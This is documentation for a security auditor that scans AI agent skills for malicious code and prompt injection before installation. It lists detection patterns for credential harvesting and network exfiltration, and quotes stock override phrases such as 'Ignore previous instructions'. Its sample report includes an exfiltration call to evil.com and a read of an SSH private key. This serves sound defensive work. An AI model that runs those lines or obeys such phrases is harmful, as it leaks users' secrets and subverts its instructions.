claude-skills-reference/docs/skills/engineering/skill-security-auditor.md

title, description

title	description
Skill Security Auditor — Agent Skill for Codex & OpenClaw	Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2).

Skill Security Auditor

:material-rocket-launch: Engineering - POWERFUL :material-identifier: `skill-security-auditor` :material-github: Source

Install: claude /plugin install engineering-advanced-skills

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

Category	Patterns Detected	Severity
Command injection	os.system(), os.popen(), subprocess.call(shell=True), backtick execution	🔴 CRITICAL
Code execution	eval(), exec(), compile(), __import__()	🔴 CRITICAL
Obfuscation	base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains	🔴 CRITICAL
Network exfiltration	requests.post(), urllib.request, socket.connect(), httpx, aiohttp	🔴 CRITICAL
Credential harvesting	reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns	🔴 CRITICAL
File system abuse	writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation	🟡 HIGH
Privilege escalation	sudo, chmod 777, setuid, cron manipulation	🔴 CRITICAL
Unsafe deserialization	pickle.loads(), yaml.load() (without SafeLoader), marshal.loads()	🟡 HIGH
Subprocess (safe)	subprocess.run() with list args, no shell	⚪ INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

Pattern	Example	Severity
System prompt override	"Ignore previous instructions", "You are now..."	🔴 CRITICAL
Role hijacking	"Act as root", "Pretend you have no restrictions"	🔴 CRITICAL
Safety bypass	"Skip safety checks", "Disable content filtering"	🔴 CRITICAL
Hidden instructions	Zero-width characters, HTML comments with directives	🟡 HIGH
Excessive permissions	"Run any command", "Full filesystem access"	🟡 HIGH
Data extraction	"Send contents of", "Upload file to", "POST to"	🔴 CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

Check	What It Does	Severity
Known vulnerabilities	Cross-reference with PyPI/npm advisory databases	🔴 CRITICAL
Typosquatting	Flag packages similar to popular ones (e.g., reqeusts)	🟡 HIGH
Unpinned versions	Flag requests>=2.0 vs requests==2.31.0	⚪ INFO
Install commands in code	pip install or npm install inside scripts	🟡 HIGH
Suspicious packages	Low download count, recent creation, single maintainer	⚪ INFO

4. File System & Structure

Check	What It Does	Severity
Boundary violation	Scripts referencing paths outside skill directory	🟡 HIGH
Hidden files	.env, dotfiles that shouldn't be in a skill	🟡 HIGH
Binary files	Unexpected executables, .so, .dll, .exe	🔴 CRITICAL
Large files	Files >1MB that could hide payloads	⚪ INFO
Symlinks	Symbolic links pointing outside skill directory	🔴 CRITICAL

Audit Workflow

1. Run the scanner on the skill directory or repo URL
2. Review the report — findings grouped by severity
3. Verdict interpretation:
   • ✅ PASS — No critical or high findings. Safe to install.
   • ⚠️ WARN — High/medium findings detected. Review manually before installing.
   • ❌ FAIL — Critical findings. Do NOT install without remediation.
4. Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

• Cannot detect logic bombs or time-delayed payloads with certainty
• Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
• Network destination reputation checks require internet access
• Does not execute code — static analysis only (safe but less complete than dynamic analysis)
• Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.